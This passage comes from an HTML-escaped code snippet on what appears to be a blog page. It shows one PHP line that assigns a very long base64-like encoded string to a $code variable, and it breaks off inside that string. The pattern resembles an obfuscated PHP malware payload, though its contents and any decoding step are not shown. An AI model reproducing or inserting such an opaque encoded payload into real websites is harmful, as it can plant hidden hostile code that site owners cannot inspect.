auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &amp;lt;?php $code = &lt;span style=&quot;color: #006080&quot;&gt;&quot;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